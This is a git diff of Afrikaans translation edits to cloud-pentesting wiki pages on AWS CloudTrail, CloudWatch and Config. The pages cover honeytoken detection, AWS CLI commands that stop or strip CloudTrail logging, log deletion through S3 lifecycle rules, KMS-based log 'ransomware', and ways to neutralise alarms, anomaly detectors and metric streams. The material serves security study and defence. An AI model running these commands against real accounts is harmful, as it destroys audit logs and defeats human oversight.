hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **antwoordgee** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry. -Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS rekening ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy rekening ID en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is. +Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy-rekeninge se ID's en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Let daarop dat alle openbare API's wat ontdek is dat hulle nie CloudTrail logs genereer nie, nou reggestel is, so dalk moet jy jou eie vind... +> Let daarop dat alle openbare API's wat ontdek is dat hulle nie CloudTrail-logs genereer nie, nou reggestel is, so dalk moet jy jou eie vind... > -> Vir meer inligting, kyk na die [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Toegang tot Derde Infrastruktuur -Sekere AWS-dienste sal **'n bietjie infrastruktuur** genereer soos **Databases** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie. +Sekere AWS-dienste sal **sekere infrastruktuur** genereer soos **Databasisse** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie. Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, 'n token plaaslik genereer en **direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word**. -Meer info in: +Meer inligting in: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md @@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name] ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### Deaktiveer Logging deur Gebeurtenis Keuses +#### Deaktiveer Logging deur Gebeurteniskeuses ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,26 +236,26 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -In die eerste voorbeeld word 'n enkele gebeurtenis selektor as 'n JSON-array met 'n enkele objek voorsien. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurtenis selektor slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie). +In die eerste voorbeeld word 'n enkele gebeurteniskeuse as 'n JSON-array met 'n enkele objek voorsien. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurteniskeuse slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie). -Jy kan die gebeurtenis selektor aanpas op grond van jou spesifieke vereistes. +Jy kan die gebeurteniskeuse aanpas op grond van jou spesifieke vereistes. #### Logs verwydering via S3 lewensiklusbeleid ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### Modifying Bucket Configuration +### Modifisering van Emmer Konfigurasie -- Verwyder die S3-bucket -- Verander die bucket-beleid om enige skrywe van die CloudTrail-diens te weier -- Voeg 'n lewensiklusbeleid by die S3-bucket om voorwerpe te verwyder -- Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logboek te enkripteer +- Verwyder die S3-emmer +- Verander emmerbeleid om enige skrywe van die CloudTrail-diens te weier +- Voeg lewensiklusbeleid by S3-emmer om voorwerpe te verwyder +- Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logs te enkripteer ### Cloudtrail ransomware #### S3 ransomware -Jy kan **'n asymmetriese sleutel genereer** en **CloudTrail die data met daardie sleutel enkripteer** en **die private sleutel verwyder** sodat die CloudTrail-inhoud nie herstel kan word nie.\ +Jy kan **'n asimmetriese sleutel genereer** en **CloudTrail die data met daardie sleutel enkripteer** en **die private sleutel verwyder** sodat die CloudTrail-inhoud nie herstel kan word nie.\ Dit is basies **S3-KMS ransomware** wat verduidelik word in: {{#ref}} @@ -270,7 +270,7 @@ Dit is 'n maklike manier om die vorige aanval met verskillende toestemmingsverei ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Verwysings** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 1cf6d2e2c..572c41b30 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -27,19 +27,19 @@ Jy kan byvoorbeeld logs van CloudTrail monitor. Gebeurtenisse wat gemonitor word ### Metrieke -Metrieke is datapunten wat oor tyd versamel word en die prestasie of benutting van AWS hulpbronne verteenwoordig. Metrieke kan van AWS dienste, pasgemaakte toepassings, of derdeparty integrasies versamel word. +Metrieke is datapunte wat oor tyd versamel word en die prestasie of benutting van AWS hulpbronne verteenwoordig. Metrieke kan van AWS dienste, pasgemaakte toepassings, of derdeparty integrasies versamel word. - **Voorbeeld**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensies -Dimensies is sleutel-waarde pare wat deel is van metrieke. Dit help om 'n metriek uniek te identifiseer en bied addisionele konteks, met 30 die maksimum aantal dimensies wat aan 'n metriek gekoppel kan word. Dimensies laat ook toe om metrieke te filter en te aggregeer op grond van spesifieke eienskappe. +Dimensies is sleutel-waarde pare wat deel van metrieke is. Dit help om 'n metriek uniek te identifiseer en bied addisionele konteks, met 30 die maksimum aantal dimensies wat aan 'n metriek gekoppel kan word. Dimensies laat ook toe om metrieke te filter en te aggregeer op grond van spesifieke eienskappe. - **Voorbeeld**: Vir EC2 instansies kan dimensies InstanceId, InstanceType, en AvailabilityZone insluit. ### Statistieke -Statistieke is wiskundige berekeninge wat op metriekdata uitgevoer word om dit oor tyd saam te vat. Algemene statistieke sluit Gemiddelde, Som, Minimum, Maksimum, en MonsterTelling in. +Statistieke is wiskundige berekeninge wat op metriekdata uitgevoer word om dit oor tyd saam te vat. Algemene statistieke sluit Gemiddelde, Som, Minimum, Maksimum, en Steekproefgetal in. - **Voorbeeld**: Die gemiddelde CPU benutting oor 'n tydperk van een uur bereken. @@ -53,12 +53,12 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte ### Dashboard -**CloudWatch Dashboards** bied aanpasbare **uitsigte van jou AWS CloudWatch metrieke**. Dit is moontlik om dashboards te skep en te konfigureer om data te visualiseer en hulpbronne in 'n enkele uitsig te monitor, wat verskillende metrieke van verskeie AWS dienste kombineer. +**CloudWatch Dashboards** bied aanpasbare **oorsigte van jou AWS CloudWatch metrieke**. Dit is moontlik om dashboards te skep en te konfigureer om data te visualiseer en hulpbronne in 'n enkele oorsig te monitor, wat verskillende metrieke van verskeie AWS dienste kombineer. **Sleutel Kenmerke**: - **Widgets**: Boublokke van dashboards, insluitend grafieke, teks, alarms, en meer. -- **Aanpassing**: Uitsig en inhoud kan aangepas word om spesifieke monitering behoeftes te pas. +- **Aanpassing**: Uiterlik en inhoud kan aangepas word om spesifieke monitering behoeftes te pas. **Voorbeeld Gebruik Geval**: @@ -68,7 +68,7 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte **Metriek Strome** in AWS CloudWatch stel jou in staat om CloudWatch metrieke voortdurend na 'n bestemming van jou keuse in byna regte tyd te stroom. Dit is veral nuttig vir gevorderde monitering, analise, en pasgemaakte dashboards wat gereedskap buite AWS gebruik. -**Metriek Data** binne Metriek Strome verwys na die werklike metings of datapunten wat gestroom word. Hierdie datapunten verteenwoordig verskillende metrieke soos CPU benutting, geheue gebruik, ens., vir AWS hulpbronne. +**Metriek Data** binne Metriek Strome verwys na die werklike metings of datapunte wat gestroom word. Hierdie datapunte verteenwoordig verskillende metrieke soos CPU benutting, geheue gebruik, ens., vir AWS hulpbronne. **Voorbeeld Gebruik Geval**: @@ -82,13 +82,13 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte **Sleutel Komponente**: - **Drempel**: Die waarde waarop die alarm geaktiveer word. -- **Evaluasie Tydperke**: Die aantal tydperke waaroor data geëvalueer word. -- **Datapunten om Alarm**: Die aantal tydperke met 'n bereikde drempel wat nodig is om die alarm te aktiveer. +- **Evaluasieperiodes**: Die aantal periodes waaroor data geëvalueer word. +- **Datapunte om Alarm**: Die aantal periodes met 'n bereik drempel wat nodig is om die alarm te aktiveer. - **Aksies**: Wat gebeur wanneer 'n alarmtoestand geaktiveer word (bv. kennisgewing via SNS). **Voorbeeld Gebruik Geval**: -- Monitering van EC2 instansie CPU benutting en 'n kennisgewing via SNS stuur as dit 80% vir 5 agtereenvolgende minute oorskry. +- Monitor EC2 instansie CPU benutting en stuur 'n kennisgewing via SNS as dit 80% vir 5 agtereenvolgende minute oorskry. ### Anomalie Detektors @@ -96,26 +96,26 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte **Sleutel Komponente**: -- **Model Opleiding**: CloudWatch gebruik historiese data om 'n model op te lei en te bepaal hoe normale gedrag lyk. +- **Model Opleiding**: CloudWatch gebruik historiese data om 'n model op te lei en te bepaal wat normale gedrag lyk. - **Anomalie Detectie Band**: 'n Visuele voorstelling van die verwagte reeks waardes vir 'n metriek. **Voorbeeld Gebruik Geval**: - Die opsporing van ongewone CPU benutting patrone in 'n EC2 instansie wat 'n sekuriteitsbreuk of toepassingsprobleem kan aandui. -### Inzicht Reëls en Gemanagte Inzicht Reëls +### Inligting Reëls en Gemanagte Inligting Reëls -**Inzicht Reëls** stel jou in staat om tendense te identifiseer, pieke te detecteer, of ander patrone van belang in jou metriekdata te identifiseer deur **kragtige wiskundige uitdrukkings** te gebruik om die toestande te definieer waaronder aksies geneem moet word. Hierdie reëls kan jou help om anomalieë of ongewone gedrag in jou hulpbronprestasie en benutting te identifiseer. +**Inligting Reëls** stel jou in staat om tendense te identifiseer, pieke te detecteer, of ander patrone van belang in jou metriekdata te identifiseer deur **kragtige wiskundige uitdrukkings** te gebruik om die toestande te definieer waaronder aksies geneem moet word. Hierdie reëls kan jou help om anomalieë of ongewone gedrag in jou hulpbronprestasie en benutting te identifiseer. -**Gemanagte Inzicht Reëls** is vooraf-gekonfigureerde **inzicht reëls wat deur AWS verskaf word**. Hulle is ontwerp om spesifieke AWS dienste of algemene gebruiksgevalle te monitor en kan geaktiveer word sonder om gedetailleerde konfigurasie te benodig. +**Gemanagte Inligting Reëls** is vooraf-gekonfigureerde **inligting reëls wat deur AWS verskaf word**. Hulle is ontwerp om spesifieke AWS dienste of algemene gebruiksgevalle te monitor en kan geaktiveer word sonder om gedetailleerde konfigurasie te benodig. **Voorbeeld Gebruik Geval**: -- Monitering van RDS Prestasie: Aktiveer 'n gemanagte inzicht reël vir Amazon RDS wat sleutelprestasie-indikators soos CPU benutting, geheue gebruik, en skyf I/O monitor. As enige van hierdie metrieke veilige operasionele drempels oorskry, kan die reël 'n waarskuwing of outomatiese mitigasie aksie aktiveer. +- Monitor RDS Prestasie: Aktiveer 'n gemanagte inligting reël vir Amazon RDS wat sleutelprestasie-aanwysers soos CPU benutting, geheue gebruik, en skyf I/O monitor. As enige van hierdie metrieke veilige operasionele drempels oorskry, kan die reël 'n waarskuwing of outomatiese mitigasie aksie aktiveer. ### CloudWatch Logs -Laat toe om **logs van toepassings** en stelsels van **AWS dienste** (insluitend CloudTrail) en **van toepassings/stelsels** (**CloudWatch Agent** kan op 'n gasheer geïnstalleer word) te **aggregeer en te monitor**. Logs kan **onbepaald gestoor** word (afhangende van die Log Groep instellings) en kan uitgevoer word. +Laat toe om **logs van toepassings** en stelsels van **AWS dienste** (insluitend CloudTrail) en **van toepassings/stelsels** (**CloudWatch Agent** kan op 'n gasheer geïnstalleer word) te **aggregeer en te monitor**. Logs kan **onbeperk gestoor** word (afhangende van die Log Groep instellings) en kan uitgevoer word. **Elemente**: @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -'n Aanvaller met hierdie toestemmings kan 'n organisasie se monitering en waarskuwing infrastruktuur aansienlik ondermyn. Deur bestaande alarms te verwyder, kan 'n aanvaller noodsaaklike waarskuwings deaktiveer wat administrateurs in kennis stel van kritieke prestasieprobleme, sekuriteitsbreuke of operasionele mislukkings. Verder, deur metrieksalarms te skep of te wysig, kan die aanvaller ook administrateurs mislei met vals waarskuwings of wettige alarms stilmaak, wat effektief kwaadwillige aktiwiteite verberg en tydige reaksies op werklike voorvalle voorkom. +'n Aanvaller met hierdie toestemmings kan 'n organisasie se monitering en waarskuwing infrastruktuur aansienlik ondermyn. Deur bestaande alarms te verwyder, kan 'n aanvaller belangrike waarskuwings deaktiveer wat administrateurs in kennis stel van kritieke prestasieprobleme, sekuriteitsbreuke of operasionele mislukkings. Verder, deur metrieksalarms te skep of te wysig, kan die aanvaller ook administrateurs mislei met vals waarskuwings of wettige alarms stilmaak, wat effektief kwaadwillige aktiwiteite verberg en tydige reaksies op werklike voorvalle voorkom. Boonop, met die **`cloudwatch:PutCompositeAlarm`** toestemming, sal 'n aanvaller in staat wees om 'n lus of siklus van saamgestelde alarms te skep, waar saamgestelde alarm A afhanklik is van saamgestelde alarm B, en saamgestelde alarm B ook afhanklik is van saamgestelde alarm A. In hierdie scenario is dit nie moontlik om enige saamgestelde alarm wat deel van die siklus is, te verwyder nie, omdat daar altyd steeds 'n saamgestelde alarm is wat afhanklik is van daardie alarm wat jy wil verwyder. ```bash @@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` Die volgende voorbeeld toon hoe om 'n metriek alarm ondoeltreffend te maak: -- Hierdie metriek alarm monitor die gemiddelde CPU benutting van 'n spesifieke EC2 instance, evalueer die metriek elke 300 sekondes en vereis 6 evaluasieperiodes (30 minute in totaal). As die gemiddelde CPU benutting 60% oorskry vir ten minste 4 van hierdie periodes, sal die alarm geaktiveer word en 'n kennisgewing na die gespesifiseerde SNS onderwerp stuur. -- Deur die Drempel aan te pas om meer as 99% te wees, die Periode op 10 sekondes in te stel, die Evaluasieperiodes op 8640 (aangesien 8640 periodes van 10 sekondes gelyk is aan 1 dag), en die Datapunte na Alarm ook op 8640, sal dit nodig wees dat die CPU benutting oor 99% moet wees elke 10 sekondes deur die hele 24-uur periode om 'n alarm te aktiveer. +- Hierdie metriek alarm monitor die gemiddelde CPU benutting van 'n spesifieke EC2 instansie, evalueer die metriek elke 300 sekondes en vereis 6 evaluasieperiodes (30 minute in totaal). As die gemiddelde CPU benutting 60% oorskry vir ten minste 4 van hierdie periodes, sal die alarm geaktiveer word en 'n kennisgewing na die gespesifiseerde SNS onderwerp stuur. +- Deur die Drempel aan te pas om meer as 99% te wees, die Periode op 10 sekondes te stel, die Evaluasieperiodes op 8640 (aangesien 8640 periodes van 10 sekondes gelyk is aan 1 dag), en die Datapunte na Alarm ook op 8640 te stel, sal dit nodig wees dat die CPU benutting elke 10 sekondes oor 99% moet wees gedurende die hele 24-uur periode om 'n alarm te aktiveer. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,11 +279,11 @@ Die volgende voorbeeld toon hoe om 'n metriek alarm ondoeltreffend te maak: {{#endtab }} {{#endtabs }} -**Potensiële Impak**: Gebrek aan kennisgewings vir kritieke gebeurtenisse, potensiële onopgemerkte probleme, vals waarskuwings, onderdruk werklike waarskuwings en moontlik gemiste opsporings van werklike voorvalle. +**Potensiële Impak**: Gebrek aan kennisgewings vir kritieke gebeurtenisse, potensiële onopgemerkte probleme, vals waarskuwings, onderdruk werklike waarskuwings en potensieel gemiste opsporings van werklike voorvalle. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -Deur alarm aksies te verwyder, kan die aanvaller kritieke waarskuwings en geoutomatiseerde reaksies voorkom wanneer 'n alarmtoestand bereik word, soos om administrateurs te kennisgewing of om outo-skaalaktiwiteite te aktiveer. Onbehoorlike aktivering of heraktivering van alarm aksies kan ook lei tot onverwagte gedrag, hetsy deur voorheen gedeaktiveerde aksies te heraktiveer of deur te verander watter aksies geaktiveer word, wat moontlik verwarring en misleiding in voorvalreaksie kan veroorsaak. +Deur alarm aksies te verwyder, kan die aanvaller kritieke waarskuwings en geoutomatiseerde reaksies voorkom wanneer 'n alarmtoestand bereik word, soos om administrateurs te kennisgewing of om outo-skaalaktiwiteite te aktiveer. Onbehoorlike aktivering of heraktivering van alarm aksies kan ook lei tot onverwagte gedrag, hetsy deur voorheen gedeaktiveerde aksies te heraktiveer of deur te verander watter aksies geaktiveer word, wat potensieel verwarring en misleiding in voorvalreaksie kan veroorsaak. Boonop kan 'n aanvaller met die toestemming alarmtoestande manipuleer, in staat om vals alarms te skep om administrateurs te aflei en te verwarr, of om werklike alarms te stil om aanhoudende kwaadwillige aktiwiteite of kritieke stelselfoute te verberg. @@ -302,7 +302,7 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Die volgende voorbeeld toon hoe om 'n metrieke anomaliedetektor ondoeltreffend te maak. Hierdie metrieke anomaliedetektor monitor die gemiddelde CPU-gebruik van 'n spesifieke EC2-instantie, en net deur die “ExcludedTimeRanges” parameter met die gewenste tydsbereik by te voeg, sal dit genoeg wees om te verseker dat die anomaliedetektor nie enige relevante data gedurende daardie tydperk analiseer of waarsku nie. +Die volgende voorbeeld toon hoe om 'n metrieke anomalie-detektor ondoeltreffend te maak. Hierdie metrieke anomalie-detektor monitor die gemiddelde CPU-gebruik van 'n spesifieke EC2-instantie, en net deur die “ExcludedTimeRanges” parameter met die gewenste tydsbereik by te voeg, sal dit genoeg wees om te verseker dat die anomalie-detektor nie enige relevante data gedurende daardie tydperk analiseer of waarsku nie. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Deur kritieke insigreëls te deaktiveer, kan 'n aanvaller die organisasie effektief blind maak vir sleutelprestasie- en sekuriteitsmetrieks. Omgekeerd, deur misleidende reëls in te skakel of te konfigureer, kan dit moontlik wees om valse data te genereer, geraas te skep, of kwaadwillige aktiwiteit te verberg. +Deur kritieke insigreëls te deaktiveer, kan 'n aanvaller die organisasie effektief blind maak vir sleutelprestasie- en sekuriteitsmetrieks. Omgekeerd, deur misleidende reëls in te skakel of te konfigureer, kan dit moontlik wees om vals data te genereer, geraas te skep, of kwaadwillige aktiwiteit te verberg. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -386,8 +386,8 @@ aws cloudwatch enable-insight-rules --rule-names 'n Aanvaller met die **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** toestemmings sou in staat wees om metriekdata-strome te skep en te verwyder, wat die sekuriteit, monitering en data-integriteit in gevaar stel: - **Skep kwaadwillige strome**: Skep metriekstrome om sensitiewe data na ongeoorloofde bestemmings te stuur. -- **Hulpbronmanipulasie**: Die skep van nuwe metriekstrome met oormatige data kan baie geraas veroorsaak, wat onakkurate waarskuwings veroorsaak en werklike probleme verdoesel. -- **Moniteringonderbreking**: Deur metriekstrome te verwyder, sou aanvallers die deurlopende vloei van moniteringsdata onderbreek. Op hierdie manier sou hul kwaadwillige aktiwiteite effektief verborge wees. +- **Hulpbron manipulasie**: Die skep van nuwe metriekstrome met oormatige data kan baie geraas veroorsaak, wat onakkurate waarskuwings veroorsaak en werklike probleme verdoesel. +- **Monitering onderbreking**: Deur metriekstrome te verwyder, sou aanvallers die deurlopende vloei van moniteringsdata onderbreek. Op hierdie manier sou hul kwaadwillige aktiwiteite effektief verborge wees. Op soortgelyke wyse, met die **`cloudwatch:PutMetricData`** toestemming, sou dit moontlik wees om data aan 'n metriekstroom toe te voeg. Dit kan lei tot 'n DoS as gevolg van die hoeveelheid onvanpaste data wat bygevoeg word, wat dit heeltemal nutteloos maak. ```bash @@ -399,20 +399,20 @@ Voorbeeld van die toevoeging van data wat ooreenstem met 'n 70% CPU benutting oo ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**Potensiële Impak**: Onderbreking in die vloei van moniteringsdata, wat die opsporing van afwykings en voorvalle beïnvloed, hulpbronmanipulasie en koste wat toeneem as gevolg van die skep van oortollige metriekstrome. +**Potensiële Impak**: Ontwrichting in die vloei van moniteringsdata, wat die opsporing van anomalieë en voorvalle beïnvloed, hulpbronmanipulasie en koste wat toeneem as gevolg van die skep van oortollige metriekstrome. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -'n Aanvaller sou die vloei van die geaffekteerde metriekdata-strome beheer (elke datastroom as daar geen hulpbronbeperking is nie). Met die toestemming **`cloudwatch:StopMetricStreams`**, kan aanvallers hul kwaadwillige aktiwiteite verberg deur kritieke metriekstrome te stop. +'n Aanvaller sou die vloei van die geaffekteerde metriekdatastrome beheer (elke datastroom as daar geen hulpbronbeperking is nie). Met die toestemming **`cloudwatch:StopMetricStreams`**, kan aanvallers hul kwaadwillige aktiwiteite verberg deur kritieke metriekstrome te stop. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Potensiële Impak**: Onderbreking in die vloei van moniteringsdata, wat die opsporing van anomalieë en voorvalle beïnvloed. +**Potensiële Impak**: Ontwrichting in die vloei van moniteringsdata, wat die opsporing van anomalieë en voorvalle beïnvloed. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -'n Aanvaller sal in staat wees om etikette by CloudWatch hulpbronne (huidiglik slegs alarms en Contributor Insights reëls) te voeg, te wysig of te verwyder. Dit kan jou organisasie se toegangbeheerbeleide op grond van etikette onderbreek. +'n Aanvaller sou in staat wees om etikette by te voeg, te wysig of te verwyder van CloudWatch hulpbronne (huidiglik slegs alarms en Contributor Insights reëls). Dit kan jou organisasie se toegangbeheerbeleide op grond van etikette ontwrig. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index d0ec9a412..25f569fe9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,13 +4,13 @@ ## AWS Config -AWS Config **vang hulpbron veranderinge**, so enige verandering aan 'n hulpbron wat deur Config ondersteun word, kan geregistreer word, wat **sal registreer wat verander het saam met ander nuttige metadata, alles gehou binne 'n lêer bekend as 'n konfigurasie-item**, 'n CI. Hierdie diens is **streekspesifiek**. +AWS Config **vang hulpbronne veranderinge**, so enige verandering aan 'n hulpbron wat deur Config ondersteun word, kan geregistreer word, wat **sal registreer wat verander het saam met ander nuttige metadata, alles gehou binne 'n lêer bekend as 'n konfigurasie-item**, 'n CI. Hierdie diens is **streekspesifiek**. -'n Konfigurasie-item of **CI** soos dit bekend staan, is 'n sleutelkomponent van AWS Config. Dit bestaan uit 'n JSON-lêer wat **die konfigurasie-inligting, verhouding-inligting en ander metadata as 'n punt-in-tyd snapshot van 'n ondersteunde hulpbron hou**. Alle inligting wat AWS Config vir 'n hulpbron kan registreer, word binne die CI vasgevang. 'n CI word **elke keer** geskep wanneer 'n ondersteunde hulpbron 'n verandering aan sy konfigurasie maak. Benewens die registrasie van die besonderhede van die betrokke hulpbron, sal AWS Config ook CIs vir enige direk verwante hulpbronne registreer om te verseker dat die verandering nie daardie hulpbronne ook beïnvloed het nie. +'n Konfigurasie-item of **CI** soos dit bekend staan, is 'n sleutelkomponent van AWS Config. Dit bestaan uit 'n JSON-lêer wat **die konfigurasie-inligting, verhouding-inligting en ander metadata as 'n tydsnee van 'n ondersteunde hulpbron hou**. Alle inligting wat AWS Config vir 'n hulpbron kan registreer, word binne die CI vasgevang. 'n CI word **elke keer** geskep wanneer 'n ondersteunde hulpbron 'n verandering aan sy konfigurasie maak. Benewens die registrasie van die besonderhede van die geraakte hulpbron, sal AWS Config ook CIs vir enige direk verwante hulpbronne registreer om te verseker dat die verandering nie daardie hulpbronne ook beïnvloed het nie. - **Metadata**: Bevat besonderhede oor die konfigurasie-item self. 'n Weergawe-ID en 'n konfigurasie-ID, wat die CI uniek identifiseer. Ander inligting kan 'n MD5Hash insluit wat jou toelaat om ander CIs wat reeds teen dieselfde hulpbron geregistreer is, te vergelyk. - **Attributes**: Dit hou algemene **attribuutinligting teen die werklike hulpbron**. Binne hierdie afdeling het ons ook 'n unieke hulpbron-ID, en enige sleutelwaarde-tags wat aan die hulpbron geassosieer is. Die hulpbron tipe word ook gelys. Byvoorbeeld, as dit 'n CI vir 'n EC2-instantie was, kan die hulpbron tipe wat gelys word die netwerkinterfaan, of die elastiese IP-adres vir daardie EC2-instantie wees. -- **Relationships**: Dit hou inligting vir enige gekonnekteerde **verhouding wat die hulpbron mag hê**. So binne hierdie afdeling, sal dit 'n duidelike beskrywing van enige verhouding met ander hulpbronne wat hierdie hulpbron gehad het, toon. Byvoorbeeld, as die CI vir 'n EC2-instantie was, kan die verhouding afdeling die verbinding met 'n VPC saam met die subnet wat die EC2-instantie woon, toon. +- **Relationships**: Dit hou inligting vir enige gekonnekteerde **verhouding wat die hulpbron mag hê**. So binne hierdie afdeling, sal dit 'n duidelike beskrywing van enige verhouding met ander hulpbronne wat hierdie hulpbron gehad het, toon. Byvoorbeeld, as die CI vir 'n EC2-instantie was, kan die verhouding afdeling die verbinding met 'n VPC saam met die subnet wat die EC2-instantie in woon, toon. - **Current configuration:** Dit sal dieselfde inligting vertoon wat gegenereer sou word as jy 'n beskrywing of lys API-oproep deur die AWS CLI sou uitvoer. AWS Config gebruik dieselfde API-oproepe om dieselfde inligting te verkry. - **Related events**: Dit verwys na AWS CloudTrail. Dit sal die **AWS CloudTrail gebeurtenis-ID wat verband hou met die verandering wat die skepping van hierdie CI geaktiveer het** vertoon. Daar word 'n nuwe CI gemaak vir elke verandering wat teen 'n hulpbron gemaak word. As gevolg hiervan, sal verskillende CloudTrail gebeurtenis-ID's geskep word. @@ -18,9 +18,9 @@ AWS Config **vang hulpbron veranderinge**, so enige verandering aan 'n hulpbron **Configuration Streams**: Konfigurasie-items word na 'n SNS-onderwerp gestuur om analise van die data moontlik te maak. -**Configuration Snapshots**: Konfigurasie-items word gebruik om 'n punt-in-tyd snapshot van alle ondersteunde hulpbronne te skep. +**Configuration Snapshots**: Konfigurasie-items word gebruik om 'n tydsnee van alle ondersteunde hulpbronne te skep. -**S3 word gebruik om** die Konfigurasiegeskiedenis lêers en enige Konfigurasie-snapshots van jou data binne 'n enkele emmer te stoor, wat binne die Konfigurasie-opnemer gedefinieer word. As jy verskeie AWS-rekeninge het, wil jy dalk jou konfigurasiegeskiedenis lêers in dieselfde S3-emmer vir jou primêre rekening saamvoeg. Jy sal egter skrywe toegang vir hierdie diens beginsel, config.amazonaws.com, en jou sekondêre rekeninge met skrywe toegang tot die S3-emmer in jou primêre rekening moet toeken. +**S3 word gebruik om** die Konfigurasiegeskiedenis lêers en enige Konfigurasie tydsneë van jou data binne 'n enkele emmer te stoor, wat binne die Konfigurasie-opnemer gedefinieer word. As jy verskeie AWS-rekeninge het, wil jy dalk jou konfigurasiegeskiedenis lêers in dieselfde S3-emmer vir jou primêre rekening saamvoeg. Jy sal egter skrywe toegang vir hierdie diens beginsel, config.amazonaws.com, en jou sekondêre rekeninge met skrywe toegang tot die S3-emmer in jou primêre rekening moet toeken. ### Functioning @@ -34,11 +34,11 @@ AWS Config **vang hulpbron veranderinge**, so enige verandering aan 'n hulpbron ### Config Rules -Config-reëls is 'n uitstekende manier om jou te help **om spesifieke nakomingskontroles** **en beheer oor jou hulpbronne af te dwing**, en laat jou toe om 'n ideale ontplooiingsspesifikasie vir elkeen van jou hulpbron tipes aan te neem. Elke reël **is in wese 'n lambda-funksie** wat, wanneer dit opgeroep word, die hulpbron evalueer en 'n paar eenvoudige logika uitvoer om die nakomingsresultaat met die reël te bepaal. **Elke keer as 'n verandering gemaak word** aan een van jou ondersteunde 